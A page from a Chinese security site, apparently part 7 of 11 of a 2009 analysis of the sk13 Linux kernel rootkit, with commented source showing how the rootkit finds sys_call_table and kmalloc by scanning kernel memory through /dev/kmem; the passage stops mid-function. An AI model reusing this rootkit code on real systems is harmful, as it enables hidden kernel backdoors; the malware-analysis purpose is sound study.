首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>病毒分析>文章内容
Linux后门系列--由浅入深sk13完全分析
来源:http://xsec.org 作者:wzt 发布时间:2009-05-04  


    /* r的地址就是sys_call_table的首地址 */

       r = *(ulong *) (p + 3);

    /* p还是sys_call_table的地址 */

       p = (char *) memmem(p+3, SCLEN - (p-code) - 3, "\xff\x14\x85", 3);
       if (!p) return 0;

       pos[1] = ep + ((p + 3) - code);

       return r;
    }

pattern.c/get_kma():
    作用:通过模式匹配搜索kmalloc()函数的地址
    如果内核没有提供LKM支持,将使我们陷入困境。而且,这个问题的解决方法非常脏,也不是很好,
    但是看来还有效。我们将遍历内核的.text段,对如下指令进行模式查询:

    push GFP_KERNEL <something between 0-0xffff>
    push size <something between 0-0x1ffff>
    call kmalloc

    然后,把搜索结果收集到一个表中排序,出现次数最多的就是kmalloc()函数地址
   
    ulong    get_kma(int kmem, ulong pgoff, ulong *rgfp, ulong hint)
    {
    #define    KCALL    8192
    #define    KSIZE    (1024*1024*2)
    #define    BUFSZ    (1024*64)
    #define    MAXGFP    0x0fff
    #define    MAXSIZE    0x1ffff
       uchar    buf[BUFSZ+64];
       uchar    *p;
       ulong    pos;
       ulong    gfp, sz, call;
       kcall    kcalls[KCALL];
       int    c, i, ccount;

       gfp = sz = call = ccount = 0;

       for (pos = pgoff; pos < (KSIZE + pgoff); pos += BUFSZ) {
          c = rkm(kmem, buf, BUFSZ, pos);
          if (ERR(c)) break;
          /* 寻找push和call指令 */
          for (p = buf; p < (buf + c); ) {
             switch (*p++) {
                case 0x68:
                    gfp = sz;
                    sz = *(ulong *) p;
                    p += 4;
                    continue;
                case 0x6a:
                    gfp = sz;
                    sz = *p++;
                    continue;
                case 0xe8:
                    call = *(ulong *) p + pos +
                    (p - buf) + 4;
                    p += 4;
                    if (gfp && sz &&
                        gfp <= MAXGFP &&
                        sz <= MAXSIZE) break;
                default:
                    gfp = sz = call = 0;

共11页: 上一页 [1] [2] [3] [4] [5] [6] 7 [8] [9] [10] [11] 下一页
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·Word溢出Shellcode分析
·浅谈反病毒技术的前世今生
·Ie0dayCVE0806.c 变种网马样本分
·Web应用漏洞的大规模攻击案例分
·Ie0dayCVE0806网马样本分析
·Witty病毒通过ISS的防火墙产品和
·酷狗音乐首页隐蔽挂马详细分析+7
·Net-Worm.Win32.Dasher(黛蛇)蠕
·熊猫烧香病毒分析与解决方案
·卡巴斯基(AVP)内存驻留型病毒检
·104种木马手工清除方法
·avserve病毒初步分析
  相关文章
·Word溢出Shellcode分析
·酷狗音乐首页隐蔽挂马详细分析+7
·熊猫烧香病毒分析与解决方案
·Ie0dayCVE0806网马样本分析
·Ie0dayCVE0806.c 变种网马样本分
·卡巴斯基(AVP)内存驻留型病毒检
·Net-Worm.Win32.Dasher(黛蛇)蠕
·浅谈反病毒技术的前世今生
·avserve病毒初步分析
·Witty病毒通过ISS的防火墙产品和
·104种木马手工清除方法
·Web应用漏洞的大规模攻击案例分
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved